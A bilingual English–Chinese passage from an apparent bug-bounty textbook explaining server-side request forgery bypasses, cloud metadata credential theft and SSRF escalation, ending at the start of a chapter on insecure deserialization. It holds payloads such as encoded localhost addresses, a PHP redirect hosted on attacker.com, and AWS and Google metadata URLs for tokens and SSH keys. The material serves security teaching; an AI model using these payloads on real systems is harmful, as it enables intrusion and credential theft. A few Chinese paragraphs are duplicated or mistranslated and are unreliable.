服务器也可能通过设计不佳的正则表达式（regexes）来实现其允许列表。正则表达式通常用于构建更灵活的允许列表。例如，一个网站可以通过检查 .*example.com.*这样的正则表达式来匹配example.com的子域和文件路径，而不是检查URL字符串是否等于“example.com”。在这种情况下，您可以通过在请求URL中放置允许列表的域来绕过正则表达式。例如，此请求将重定向到127.0.0.1，因为pics.example.com被视为URL的用户名部分。

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://pics.example.com@127.0.0.1

The following request also redirects to 127.0.0.1, since pics.example.com is seen as the directory portion of the URL:

因为pics.example.com被看作URL的目录部分，所以以下请求也会重定向到127.0.0.1：

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://127.0.0.1/pics.example.com

You can test whether a site is using an overly flexible regex allowlist by trying URLs like these and seeing if the filter allows it. Note that a regex-based allowlist can be secure if the regex is well constructed. And these URLs won’t always succeed!

如果尝试这些URL并且过滤器允许，请验证该站点是否使用过度灵活的正则表达式白名单。请注意，如果正则表达式良好构造，则基于正则表达式的白名单可以安全使用。但这些URL并非总是能够成功！

Bypass Blocklists

Since applications often need to fetch resources from a variety of internet sources, most SSRF protection mechanisms come in the form of a blocklist. If you’re faced with a blocklist, there are many ways of tricking the server.

由于应用程序经常需要从各种互联网来源获取资源，大多数SSRF保护机制以屏蔽列表的形式出现。如果您面临屏蔽列表，有许多欺骗服务器的方法。

Fooling It with Redirects

First, you can make the server request a URL that you control and that redirects to the blocklisted address. For example, you can ask the target server to send a request to your server:

首先，您可以让服务器请求您控制并重定向到已加入阻止列表的地址的URL。例如，您可以要求目标服务器向您的服务器发送请求：

https://public.example.com/proxy?url=https://attacker.com/ssrf

Then, on your server at https://attacker.com/ssrf , you can host a file with the following content:

那么，在您的服务器上的 https://attacker.com/ssrf，您可以托管一个具有以下内容的文件：

<?php header("location: http://127.0.0.1"); ?>

This is a piece of PHP code that redirects the request by setting the document’s location to 127.0.0.1. When you make the target server request https://attacker.com/ssrf, the target server is redirected to http://127.0.0.1 , a restricted internal address. This attack will bypass blocklists because the URL submitted to the application does not itself contain any blocklisted addresses.

这是一段PHP代码，通过将文档位置设置为127.0.0.1来重定向请求。当您发起指向目标服务器的请求https://attacker.com/ssrf时，目标服务器将被重定向到http://127.0.0.1，这是一种受限的内部地址。这种攻击将绕过阻止列表，因为提交给应用程序的URL本身不包含任何被阻止的地址。

Using IPv6 Addresses

I mentioned in Chapter 3 that IPv6 addresses are a newer alternative to the more commonly used IPv4 addresses. The Internet Engineering Task Force (IETF) created IPv6 addresses as the world began running out of available IPv4 addresses and needed a format that provided a larger number of possible addresses. IPv6 addresses are 128-bit values represented in hexadecimal notation, and they look like this: 64:ff9b::255.255.255.255.

我在第三章中提到，IPv6地址是更常用的IPv4地址的一种新型替代品。当世界开始用尽可用的IPv4地址并需要一个提供更多可能地址的格式时，互联网工程任务组(IETF)创建了IPv6地址。IPv6地址是用十六进制表示的128位值，长这个样子：64:ff9b::255.255.255.255。

Sometimes the SSRF protection mechanisms a site has implemented for IPv4 might not have been implemented for IPv6. That means you can try to submit IPv6 addresses that point to the local network. For example, the IPv6 address ::1 points to the localhost, and fc00:: is the first address on the private network.

有时，网站为IPv4实施的SSRF保护机制可能并未针对IPv6实施。这意味着您可以尝试提交指向本地网络的IPv6地址。例如，IPv6地址::1指向本地主机，fc00::是私有网络上的第一个地址。

For more information about how IPv6 works, and about other reserved IPv6 addresses, visit Wikipedia: https://en.wikipedia.org/wiki/IPv6_address .

获取有关IPv6如何工作以及其他保留IPv6地址的更多信息，请访问维基百科：https://en.wikipedia.org/wiki/IPv6_address。

Tricking the Server with DNS

You can also try confusing the server with DNS records, which computers use to translate hostnames into IP addresses. DNS records come in various types, but the ones you’ll hear about most often are A and AAAA records. A records point a hostname to an IPv4 address, whereas AAAA records translate hostnames to an IPv6 address.

你也可以尝试使用 DNS 记录混淆服务器，计算机将使用它来将主机名转换为 IP 地址。DNS 记录有多种类型，但你最常听到的是 A 记录和 AAAA 记录。A 记录将主机名指向 IPv4 地址，而 AAAA 记录将主机名转换为 IPv6 地址。

Modify the A/AAAA record of a domain you control and make it point to the internal addresses on the victim’s network. You can check the current A/AAAA records of your domain by running these commands:

修改你控制的域名的A/AAAA记录并将其指向受害者网络上的内部地址。您可以通过运行以下命令来检查您域的当前A/AAAA记录：

nslookup DOMAIN
nslookup DOMAIN -type=AAAA

You can usually configure the DNS records of your domain name by using your domain registrar or web-hosting service’s settings page. For instance, I use Namecheap as my domain service. In Namecheap, you can configure your DNS records by going to your account and choosing Domain List ▶ Manage Domain ▶ Advanced DNS ▶ Add New Record. Create a custom mapping of hostname to IP address and make your domain resolve to 127.0.0.1. You can do this by creating a new A record for your domain that points to 127.0.0.1.

通常，您可以通过使用您的域名注册服务商或网站托管服务的设置页面来配置您的域名的DNS记录。例如，我使用Namecheap作为我的域名服务。在Namecheap中，您可以通过进入您的帐户并选择域名列表▶管理域名▶高级DNS▶添加新记录来配置您的DNS记录。创建一个自定义的主机名到IP地址的映射，让您的域名解析到127.0.0.1。您可以通过为您的域名创建一个指向127.0.0.1的新A记录来实现这一点。

Then you can ask the target server to send a request to your server, like:

然后你可以让目标服务器向你的服务器发送一个请求，例如：

https://public.example.com/proxy?url=https://attacker.com

Now when the target server requests your domain, it will think your domain is located at 127.0.0.1 and request data from that address.

现在当目标服务器请求您的域名时，它会认为您的域名位于127.0.0.1，并从该地址请求数据。

Switching Out the Encoding

There are many ways of encoding a URL or an address. Character encodings are different ways of representing the same character while preserving its meaning. They are often used to make data transportation or storage more efficient. These encoding methods don’t change how a server interprets the location of the address, but they might allow the input to slip under the radar of a blocklist if it bans only addresses that are encoded a certain way.

有许多方法可以编码URL或地址。字符编码是表示相同字符并保留其含义的不同方式。它们经常用于使数据传输或存储更有效。这些编码方法不会改变服务器解释地址位置的方式，但如果禁止某种编码方式的地址，它们可能允许输入逃过阻止列表的屏障。

Possible encoding methods include hex encoding, octal encoding, dword encoding, URL encoding, and mixed encoding. If the URL parser of the target server does not process these encoding methods appropriately, you might be able to bypass SSRF protection. So far, the addresses provided as examples in this book have used decimal encoding , the base-10 format that uses characters ranging from 0 to 9. To translate a decimal-formatted IP address to hex, calculate each dot-delineated section of the IP address into its hex equivalent. You could use a decimal-to-hex calculator to do this, and then put together the entire address. For example, 127.0.0.1 in decimal translates to 0x7f.0x0.0x0.0x1 in hex. The 0x at the beginning of each section designates it as a hex number. You can then use the hex address in the potential SSRF endpoint:

可能的编码方法包括十六进制编码、八进制编码、双字编码、URL编码和混合编码。如果目标服务器的URL解析器不能正确处理这些编码方法，则可能会绕过SSRF保护。迄今为止，本书中提供的实例地址使用了十进制编码，这是一种使用从0到9的字符的十进制格式。要将十进制格式的IP地址转换为十六进制格式，可将IP地址的每个点划分部分计算为其十六进制等效部分。您可以使用十进制与十六进制转换计算器来完成此操作，然后将整个地址组合在一起。例如，十进制中的127.0.0.1在十六进制中将转换为0x7f.0x0.0x0.0x1。每个部分前面的0x表示它是十六进制数。然后可以在潜在的SSRF终端中使用十六进制地址。

https://public.example.com/proxy?url=https://0x7f.0x0.0x0.0x1

Octal encoding is a way of representing characters in a base-8 format by using characters ranging from 0 to 7. As with hex, you can translate an IP address to octal form by recalculating each section. You can utilize an online calculator for this too; just search for decimal to octal calculator to find one. For example, 127.0.0.1 translates to 0177.0.0.01. In this case, the leading zeros are necessary to convey that that section is an octal number. Then use it in the potential SSRF endpoint:

八进制编码是一种使用从0到7范围的字符以八进制格式表示字符的方式。与十六进制一样，您可以通过重新计算每个部分将IP地址转换为八进制形式。您也可以使用在线计算器来完成这个过程；只需搜索“十进制到八进制计算器”来找到一个。例如，127.0.0.1转换为0177.0.0.01。在这种情况下，前导零是必要的，以传达该部分是八进制数字。然后将其用于潜在的SSRF端点。

https://public.example.com/proxy?url=https://0177.0.0.01

The dword , or double word , encoding scheme represents an IP address as a single 32-bit integer (called a dword). To translate an address into a dword, split the address into four octets (groups of 8 bits), and write out its binary representation. For example, 127.0.0.1 is the decimal representation of 01111111.00000000.00000000.00000001. When we translate the entire number, 01111111000000000000000000000001, into one single decimal number, we get the IP address in dword format.

双字(或双字节)编码方案表示一个IP地址为一个32位整数(称为双字)。要将地址转换为双字，请将地址分为四个八位组，并编写其二进制表示。例如，127.0.0.1是01111111.00000000.00000000.00000001的十进制表示。当我们将整个数字01111111000000000000000000000001转换为一个单独的十进制数字时，我们得到了以双字格式表示的IP地址。

What is 127.0.0.1 in dword format? It’s the answer for 127 × 256 3 + 0 × 256 2 + 0 × 256 1 + 1 × 256 0 , which is 2130706433. You could use a binary-to-decimal calculator to calculate this. If you type https://2130706433 instead of https://127.0.0.1 in your browser, it would still be understood, and you could use it in the potential SSRF endpoint:

127.0.0.1 在 dword 格式下是什么？答案是 127 × 2563 + 0 × 2562 + 0 × 2561 + 1 × 2560，即 2130706433。你可以使用二进制转十进制计算器来计算。如果在浏览器中输入 https://2130706433 而不是 https://127.0.0.1，它仍然可以被理解，并且可以在 SSRF 潜在终端点中使用。

https://public.example.com/proxy?url=https://2130706433

When a server blocks requests to internal hostnames like https://localhost, try its URL-encoded equivalent:

当服务器阻止对内部主机名（例如https://localhost）的请求时，请尝试使用其URL编码的等效形式。

https://public.example.com/proxy?url=https://%6c%6f%63%61%6c%68%6f%73%74

Finally, you could use a combination of encoding techniques to try to fool the blocklist. For example, in the address 0177.0.0.0x1, the first section uses octal encoding, the next two use decimal encoding, and the last section uses hex encoding.

最后，你可以使用编码技术的组合来尝试欺骗阻止列表。例如，在地址0177.0.0.0x1中，第一节使用八进制编码，接下来的两节使用十进制编码，最后一节使用十六进制编码。

This is just a small portion of bypasses you can try. You can use many more creative ways to defeat protection and achieve SSRF. When you can’t find a bypass that works, switch your perspective by asking yourself, how would I implement a protection mechanism for this feature? Design what you think the protection logic would look like. Then try to bypass the mechanism you’ve designed. Is it possible? Did you miss anything when implementing the protection? Could the developer of the application have missed something too?

这只是你可以尝试的一小部分绕过方法。你可以使用许多更有创意的方式来打败保护并实现SSRF。当你找不到有效的绕过方法时，试着换个角度思考，问问自己，我会如何为这个功能实现保护机制呢？ 设计出你认为的保护逻辑。然后试着绕过你所设计的机制。是否可能？在实施保护时，是否遗漏了什么？应用程序的开发人员也可能会遗漏一些东西吗？

Escalating the Attack

SSRFs can vary in impact, but they have a lot of potential if you know how to escalate them by chaining them with different bugs. Now that you have the basics of SSRFs down, let’s learn to exploit them most effectively.

如果你知道如何将它们与不同的漏洞链接起来，SSRF可能会产生不同的影响，但它们有很大的潜力。现在你已经掌握了 SSRF 的基础知识，让我们学习如何最有效地利用它们。

What you can achieve with an SSRF usually depends on the internal services found on the network. Depending on the situation, you could use SSRF to scan the network for reachable hosts, port-scan internal machines to fingerprint internal services, collect instance metadata, bypass access controls, leak confidential data, and even execute code on reachable machines.

通过 SSRF ，您可以实现的通常取决于网络上发现的内部服务。根据情况，您可以使用 SSRF 扫描可访问主机的网络，对内部机器进行端口扫描以指纹内部服务，收集实例元数据，绕过访问控制，泄漏机密数据，甚至在可访问机器上执行代码。

Perform Network Scanning

You may sometimes want to scan the network for other reachable machines. Reachable machines are other network hosts that can be connected to via the current machine. These internal machines might host databases, internal websites, and otherwise sensitive functionalities that an attacker can exploit to their advantage. To perform the scan, feed the vulnerable endpoint a range of internal IP addresses and see if the server responds differently to each address. For example, when you request the address 10.0.0.1

有时候，你可能想要扫描网络中其他可达的机器。可达机器指的是可以通过当前机器连接到的其他网络主机。这些内部机器可能托管数据库、内部网站和其他敏感功能，黑客可以利用它们来攻击。为了进行扫描，需要将一个范围的内部IP地址输入到易受攻击的终端，看看服务器是否对每个地址有不同的响应。例如，当你请求地址10.0.0.1时。

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://10.0.0.1

the server may respond with this message:

服务器可能会响应此消息：

Error: cannot upload image: http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

But when you request the address 10.0.0.2

当你请求地址10.0.0.2时。

POST /upload_profile_from_url
Host: public.example.com

(POST request body)
user_id=1234&url=https://10.0.0.2

the server may respond with this message:

服务器可能会响应此消息：

Error: cannot upload image: Connection Failed

You can deduce that 10.0.0.1 is the address of a valid host on the network, while 10.0.0.2 is not. Using the differences in server behavior, you can gather info about the network structure, like the number of reachable hosts and their IP addresses.

您可以推断出10.0.0.1是网络上有效主机的地址，而10.0.0.2不是。利用服务器行为的差异，您可以收集有关网络结构的信息，例如可达主机的数量和它们的IP地址。

You can also use SSRF to port-scan network machines and reveal services running on those machines. Open ports provide a good indicator of the services running on the machine, because services often run on certain ports by default. For example, by default, SSH runs on port 22, HTTP runs on port 80, and HTTPS runs on port 443. Port-scan results often point you to the ports that you should inspect manually, and they can help you plan further attacks tailored to the services found.

您也可以使用SSRF来扫描网络设备的端口，并揭示这些设备上运行的服务。开放的端口可以很好地指示设备上运行的服务，因为服务通常默认运行在某些端口上。例如，SSH默认运行在22号端口上，HTTP运行在80号端口上，而HTTPS运行在443号端口上。端口扫描结果通常指向您应该手动检查的端口，并且它们可以帮助您计划更多针对发现的服务的攻击。

Provide the vulnerable endpoint with different port numbers, and then determine if the server behavior differs between ports. It’s the same process as scanning for hosts, except this time, switch out port numbers rather than hosts. Port numbers range from 0 to 65,535.

提供不安全的终端点不同的端口号，然后确定服务器在端口之间的行为是否有所不同。这与扫描主机的过程相同，只不过这一次需要更改端口号而不是主机。端口号范围从0到65,535。

Let’s say you want to find out which ports are open on an internal machine. When you send a request to port 80 on an internal machine, the server responds with this message:

假设您想找出内部计算机开放的端口。当您向内部计算机上的端口80发送请求时，服务器会以以下消息进行响应：

Error: cannot upload image: http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

And when you send a request to port 11 on the same machine, the machine responds with this message:

当您向同一台机器的11号端口发送请求时，该机器将以此消息作出回应：

Error: cannot upload image: Connection Failed

We can deduce that port 80 is open on the machine, while port 11 is not. You can also figure out from the response that the machine is running an Apache web server and the Ubuntu Linux distribution. You can use the software information revealed here to construct further attacks against the system.

我们可以推断出在这台机器上，80端口是开放的，而11端口则不是。从响应可以推断出，这台机器运行的是Apache Web服务器和Ubuntu Linux发行版。您可以使用在此处揭示的软件信息，构建进一步的攻击来攻击该系统。

Pull Instance Metadata

Cloud computing services allow businesses to run their applications on other people’s servers. One such service, Amazon Elastic Compute Cloud (EC2), offers an instance metadata tool that enables EC2 instances to access data about themselves by querying the API endpoint at 169.254.169.254. Instances are virtual servers used for running applications on a cloud provider’s infrastructure. Google Cloud offers a similar instance metadata API service.

云计算服务允许企业在其他人的服务器上运行其应用程序。 Amazon Elastic Compute Cloud（EC2）是这样一项服务，它提供了实例元数据工具，使EC2实例能够通过在API端点上查询169.254.169.254来访问有关自身的数据。实例是用于在云提供商基础架构上运行应用程序的虚拟服务器。谷歌云提供类似的实例元数据API服务。

These API endpoints are accessible by default unless network admins specifically block or disable them. The information these services reveal is often extremely sensitive and could allow attackers to escalate SSRFs to serious information leaks and even RCE.

这些API端点默认情况下是可访问的，除非网络管理员特别阻止或禁用它们。这些所提供的服务信息通常非常敏感，可能会让攻击者将SSRF升级成严重的信息泄漏、甚至RCE。

Querying EC2 Metadata

If a company hosts its infrastructure on Amazon EC2, try querying various instance metadata about the host using this endpoint. For example, this API request fetches all instance metadata from the running instance:

如果公司将其基础设施托管在Amazon EC2上，请尝试使用此端点查询有关主机的各种实例元数据。例如，此API请求从正在运行的实例中提取所有实例元数据：

http://169.254.169.254/latest/meta-data/

Use this URL in an endpoint vulnerable to SSRF:

在易受SSRF攻击的终端点中使用该URL：

https://public.example.com/proxy?url=http://169.254.169.254/latest/meta-data/

These endpoints reveal information such as API keys, Amazon S3 tokens (tokens used to access Amazon S3 buckets), and passwords. Try requesting these especially useful API endpoints:

这些终端节点揭示了诸如API密钥、Amazon S3令牌（用于访问Amazon S3桶的令牌）和密码等信息。尝试请求这些特别有用的API终端节点：

http://169.254.169.254/latest/meta-data/ returns the list of available metadata that you can query.

http://169.254.169.254/latest/meta-data/local-hostname/ returns the internal hostname used by the host.

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME returns the security credentials of that role.

http://169.254.169.254/latest/dynamic/instance-identity/document/ reveals the private IP address of the current instance.

http://169.254.169.254/latest/user-data/ returns user data on the current instance.

You can find the complete documentation for the API endpoint at https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html .

你可以在https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html找到完整的API端点文档。

Querying Google Cloud Metadata

If the company uses Google Cloud, query the Google Instance Metadata API instead. Google implements additional security measures for its API endpoints, so querying Google Cloud Metadata APIv1 requires one of these special headers:

如果公司使用Google Cloud，请查询Google Instance Metadata API。Google为其API端点实施了额外的安全措施，因此查询Google Cloud Metadata APIv1需要其中的特殊标头之一：

Metadata-Flavor: Google
X-Google-Metadata-Request: True

These headers offer protection against SSRFs because most often during an SSRF, you cannot specify special headers for the forged request. But you can easily bypass this protection, because most endpoints accessible through APIv1 can be accessed via the API v1beta1 endpoints instead. API v1beta1 is an older version of the metadata API that doesn’t have the same header requirements. Begin by targeting these critical endpoints:

由于在SSRF期间，您通常无法为伪造的请求指定特殊标头，因此这些标头提供对抗SSRF的保护。但是，您可以轻松绕过此保护，因为大多数通过APIv1可访问的终端点可以通过API v1beta1终端点访问。 API v1beta1是元数据API的较旧版本，不具有相同的标头要求。首先针对这些关键终端点开始：由于SSRF的影响，这些标头提供保护。但可以轻松规避此保护，因为可以通过API v1beta1接口访问API v1的大多数端点。 API v1beta1是元数据API的旧版，不具有相同的标头要求。从攻击这些关键端点开始：

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token returns the access token of the default account on the instance.

http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys returns SSH keys that can connect to other instances in this project.

Read the full API documentation at https://cloud.google.com/compute/docs/storing-retrieving-metadata/ . Note that the API v1beta1 was deprecated in 2020 and is in the process of being shut down. In the future, you might be required to query metadata with APIv1 and will need to find a way to forge the required headers to request instance metadata for targets that use Google Cloud.

请访问https://cloud.google.com/compute/docs/storing-retrieving-metadata/ 阅读完整的API文档。请注意，API v1beta1在2020年已经被弃用并正在逐步关闭。未来，您可能需要使用APIv1查询元数据，并需要找到一种方式来伪造所需的标头以请求使用Google Cloud的目标实例元数据。

Amazon and Google aren’t the only web services that provide metadata APIs. However, these two companies control a large share of the market, so the company you’re testing is likely on one of these platforms. If not, DigitalOcean and Kubernetes clusters are also vulnerable to the same issue. For DigitalOcean, for example, you can retrieve a list of metadata endpoints by visiting the http://169.254.169.254/metadata/v1/ endpoint. You can then retrieve key pieces of information such as the instance’s hostname and user data. For Kubernetes, try accessing https://kubernetes.default and https://kubernetes.default.svc/metrics for information about the system.

亚马逊和谷歌并非唯一提供元数据API的网络服务。然而，这两家公司控制着较大的市场份额，因此您测试的公司可能在其中一个平台上。如果不是，DigitalOcean和Kubernetes集群也容易受到同样的问题影响。例如，对于DigitalOcean，您可以通过访问http://169.254.169.254/metadata/v1/端点来检索元数据端点的列表。然后，您可以检索关键的信息，例如实例的主机名和用户数据。对于Kubernetes，尝试访问https://kubernetes.default和https://kubernetes.default.svc/metrics以获取有关系统的信息。

Exploit Blind SSRFs

Because blind SSRFs don’t return a response or error message, their exploitation is often limited to network mapping, port scanning, and service discovery. Also, since you can’t extract information directly from the target server, this exploitation relies heavily on inference. Yet by analyzing HTTP status codes and server response times, we can often achieve results similar to regular SSRF.

由于盲目的SSRF不会返回响应或错误信息，他们的利用通常局限于网络映射、端口扫描和服务发现。此外，由于无法直接从目标服务器提取信息，因此这种利用非常依赖推理。然而，通过分析HTTP状态代码和服务器响应时间，我们通常可以达到类似常规SSRF的结果。

Network and Port Scanning Using HTTP Status Codes

Remember from Chapter 5 that HTTP status codes provide information about whether the request succeeded. By comparing the response codes returned for requests to different endpoints, we can infer which of them are valid. For example, if a request for https://public.example.com/webhook?url=10.0.0.1 results in an HTTP status code of 200, while a request for https://public.example.com/webhook?url=10.0.0.2 results in an HTTP status code of 500, we can deduce that 10.0.0.1 is the address of a valid host on the network while 10.0.0.2 is not.

记住第5章提到的HTTP状态码提供关于请求是否成功的信息。通过比较不同端点请求返回的响应码，我们可以推断哪些是有效的。例如，如果对https：//public.example.com/webhook？url = 10.0.0.1的请求返回HTTP状态码200，而对http：//public.example.com/webhook？url = 10.0.0.2的请求返回HTTP状态码500，则我们可以推断10.0.0.1是网络上一个有效的主机地址，而10 .0.0.2不是。

Port scanning with blind SSRF works the same way. If the server returns a 200 status code for some ports, and 500 for others, the 200 status code might indicate open ports on the machine. On the other hand, if all requests return the same status code, the site might have implemented protection against SSRF port scanning.

使用盲目 SSRF 进行端口扫描的方式是相同的。如果服务器针对某些端口返回 200 状态码，而针对其他端口返回 500 状态码，则 200 状态码可能表示计算机上的开放端口。另一方面，如果所有请求返回相同的状态码，则该站点可能已经实施了对 SSRF 端口扫描的保护。

Network and Port Scanning Using Server Response Times

If the server isn’t returning any useful information in the form of status codes, you might still be able to figure out the network structure by examining how long the server is taking to respond to your request. If it takes much longer to respond for some addresses, those network addresses might be unrouted or hidden behind a firewall. Unrouted addresses cannot be reached from the current machine. On the other hand, unusually short response times may also indicate an unrouted address, because the router might have dropped the request immediately.

如果服务器没有以状态码的形式返回任何有用的信息，您仍然可以通过检查服务器响应您的请求所需的时间来确定网络结构。如果对某些地址响应时间超长，这些网络地址可能没有路由，或被隐藏在防火墙后面。从当前机器无法访问未路由的地址。另一方面，异常短的响应时间也可能表明存在未路由的地址，因为路由器可能立即丢弃了该请求。

When performing any kind of network or port scanning, it is important to remember that machines behave differently. The key is to look for differences in behavior from the machines on the same network, instead of the specific signatures like response times or response codes described previously.

执行任何类型的网络或端口扫描时，重要的是要记住不同的机器表现不同。关键是要查找在同一网络上的机器的行为差异，而不是先前描述的特定签名，比如响应时间或响应代码。

The target machine might also leak sensitive information in outbound requests, such as internal IPs, headers, and version numbers of the software used. If you can’t access an internal address, you can always try to provide the vulnerable endpoint with the address of a server you own and see what you can extract from the incoming request.

目标机器在出站请求中可能会泄露敏感信息，例如内部IP、标头和所使用软件的版本号。如果您无法访问内部地址，可以尝试向易受攻击的端点提供您拥有的服务器地址，并查看您可以从传入请求中提取什么。

Attack the Network

Use what you’ve found by scanning the network, identifying services, and pulling instance metadata to execute attacks that have impact. Notably, you may be able to bypass access controls, leak confidential information, and execute code.

使用通过扫描网络、识别服务和提取实例元数据所获得的信息执行具有影响的攻击。值得注意的是，您可能能够绕过访问控制、泄露机密信息并执行代码。

First, try to bypass access control. Some internal services might control access based on IP addresses or internal headers only, so it might be possible to bypass controls to sensitive functionalities by simply sending the request from a trusted machine. For example, you might be able to access internal websites by proxying through a web server:

首先，请尝试绕过访问控制。一些内部服务可能仅基于 IP 地址或内部头来控制访问，因此通过从受信任的机器发送请求，可能可以绕过对敏感功能的控制。例如，您可能可以通过代理服务器访问内部网站：

https://public.example.com/proxy?url=https://admin.example.com

You can also try to execute internal API calls through the SSRF endpoint. This type of attack requires knowledge about the internal system and API syntax, which you can obtain by conducting recon and via other information leaks from the system. For example, let’s say the API endpoint admin.example.com/delete_user deletes a user and can only be requested by an internal address. You could trigger the request if you find an SSRF that lets you send a request from a machine in the trusted network:

您还可以尝试通过SSRF端点执行内部API调用。这种类型的攻击需要对内部系统和API语法有所了解，您可以通过查阅信息并通过系统中的其他信息泄漏来获得这些知识。例如，假设API端点admin.example.com/delete_user删除用户，并且只能由内部地址请求。如果您找到了一个允许您从可信网络中的计算机发送请求的SSRF，您就可以触发该请求。

https://public.example.com/send_request?url=https://admin.example.com/delete_user?user=1

Second, if you were able to find credentials using the SSRF by leaking info via headers or by querying instance metadata, use those credentials to access confidential information stored on the network. For example, if you were able to find Amazon S3 keys, enumerate the company’s private S3 buckets and see if you can access them with the credentials you found.

其次，如果你能够通过 SSRF 泄露标头或查询实例元数据找到凭据，请使用这些凭据访问存储在网络上的机密信息。例如，如果你能够找到 Amazon S3 密钥，请列举公司的私有 S3 存储桶，看看是否可以使用你找到的凭据访问它们。

Third, use the info you gathered to turn SSRF into remote code execution (which you’ll learn more about in Chapter 18 ). For example, if you found admin credentials that give you write privileges, try uploading a shell to the web server. Or, if you found an unsecured admin panel, see if any features allow the execution of scripts. You can also use either classic or blind SSRF to test for other vulnerabilities on the target’s network by sending payloads designed to detect well-known vulnerabilities to reachable machines.

第三步，利用收集到的信息将SSRF转换为远程代码执行（这将在第18章中详细介绍）。例如，如果您找到了可以让您拥有写权限的管理员凭据，请尝试将shell上传到Web服务器。或者，如果您发现了一个不安全的管理员面板，请查看是否有任何功能允许执行脚本。您还可以使用经典或盲目的SSRF来测试目标网络上的其他漏洞，通过向可到达的机器发送旨在检测众所周知的漏洞的有效载荷来测试。

Finding Your First SSRF!

Let’s review the steps you can take to find your first SSRF:

让我们回顾一下你可以采取的步骤来找到你的第一个SSRF：

Spot the features prone to SSRFs and take notes for future reference.

Set up a callback listener to detect blind SSRFs by using an online service, Netcat, or Burp’s Collaborator feature.

Provide the potentially vulnerable endpoints with common internal addresses or the address of your callback listener.

Check if the server responds with information that confirms the SSRF. Or, in the case of a blind SSRF, check your server logs for requests from the target server.

In the case of a blind SSRF, check if the server behavior differs when you request different hosts or ports.

If SSRF protection is implemented, try to bypass it by using the strategies discussed in this chapter.

Pick a tactic to escalate the SSRF.

Draft your first SSRF report!

14
Insecure Deserialization

Insecure deserialization vulnerabilities happen when applications deserialize program objects without proper precaution. An attacker can then manipulate serialized objects to change the program’s behavior.

应用程序在未采取适当预防措施的情况下对程序对象进行反序列化时，会发生不安全的反序列化漏洞。攻击者随后可以操纵序列化对象以更改程序行为。

Insecure deserialization bugs have always fascinated me. They’re hard to find and exploit, because they tend to look different depending on the programming language and libraries used to build the application. These bugs also require deep technical understanding and ingenuity to exploit. Although they can be a challenge to find, they are worth the effort. Countless write-ups describe how researchers used these bugs to achieve RCE on critical assets from companies such as Google and Facebook.

不安全的反序列化漏洞一直吸引着我。由于构建应用程序使用的编程语言和库不同，它们很难被找到和利用，因为它们通常具有不同的外观。这些漏洞还需要深入的技术理解和独创性的利用。尽管它们很难被找到，但它们是值得努力寻找的。无数的文献描述了研究人员如何利用这些漏洞来实现RCE，从Google和Facebook等公司的关键资产。

In this chapter, I’ll talk about what insecure deserialization is, how insecure deserialization bugs happen in PHP and Java applications, and how you can exploit them.

在这一章中，我将谈论什么是不安全的反序列化，以及在PHP和Java应用程序中如何发生不安全的反序列化漏洞，以及如何利用它们。

Mechanisms

Serialization is the process by which some bit of data in a programming language gets converted into a format that allows it to be saved in a database or transferred over a network. Deserialization refers to the opposite process, whereby the program reads the serialized object from a file or the network and converts it back into an object.

序列化是将编程语言中的某些数据转换为一种格式的过程，使其可以保存在数据库中或通过网络传输。反序列化指的是相反的过程，即程序从文件或网络中读取序列化对象并将其转换回对象。

This is useful because some objects in programming languages are difficult to transfer through a network or to store in a database without corruption. Serialization and deserialization allow programming languages to reconstruct identical program objects in different computing environments. Many programming languages support the serialization and deserialization of objects, including Java, PHP, Python, and Ruby.

这是有用的，因为一些编程语言中的对象很难在网络中传输或存储在数据库中而不破坏。序列化和反序列化允许编程语言在不同的计算环境中重构相同的程序对象。许多编程语言支持对象的序列化和反序列化，包括Java，PHP，Python和Ruby。

Developers often trust user-supplied serialized data because it is difficult to read or unreadable to users. This trust assumption is what attackers can abuse. Insecure deserialization is a type of vulnerability that arises when an attacker can manipulate the serialized object to cause unintended consequences in the program. This can lead to authentication bypasses or even RCE. For example, if an application takes a serialized object from the user and uses the data contained in it to determine who is logged in, a malicious user might be able to tamper with that object and authenticate as someone else. If the application uses an unsafe deserialization operation, the malicious user might even be able to embed code snippets in the object and get it executed during deserialization.

开发者经常信任用户提供的序列化数据，因为对于用户来说很难读取或者不可读。然而这种信任假设恰恰是攻击者可以利用的弱点。不安全的反序列化就是一种类型的漏洞，攻击者可以通过操纵序列化对象来在程序中引起意料之外的后果。这可能导致绕过认证甚至RCE。例如，如果一个应用程序接受用户提供的序列化对象并使用其中的数据来确定谁已登录，那么恶意用户可能能够篡改该对象并作为其他人进行认证。如果应用程序使用不安全的反序列化操作，那么恶意用户甚至可能能够在对象中嵌入代码片段并在反序列化期间执行它。

The best way to understand insecure deserialization is to learn how different programming languages implement serialization and deserialization. Since these processes look different in every language, we’ll explore how this vulnerability presents itself in PHP and Java. Before we continue, you’ll need to install PHP and Java if you want to test out the example code in this chapter.

理解不安全反序列化的最佳方法是学习不同编程语言如何实现序列化和反序列化。由于这些过程在每种语言中看起来不同，因此我们将探讨此漏洞在PHP和Java中的表现方式。在继续之前，如果您想测试本章节中的示例代码，您需要安装PHP和Java。

You can install PHP by following the instructions for your system on the PHP manual page ( https://www.php.net/manual/en/install.php ). You can then run PHP scripts by running php YOUR_PHP_SCRIPT.php using the command line. Alternatively, you can use an online PHP tester like ExtendsClass ( https://extendsclass.com/php.html ) to test the example scripts. Search online PHP tester for more options. Note that not all online PHP testers support serialization and deserialization, so make sure to choose one that does.

您可以按照PHP手册页面上针对您所用系统的说明进行安装（https://www.php.net/manual/zh/install.php）。您随后可以使用命令行通过运行“php YOUR_PHP_SCRIPT.php”来运行PHP脚本。或者，您可以使用在线的PHP测试器（例如ExtendsClass（https://extendsclass.com/php.html））来测试示例脚本。搜索在线PHP测试器以了解更多选项。请注意，并非所有在线PHP测试器都支持序列化和反序列化，请确保选择支持此功能的测试器。

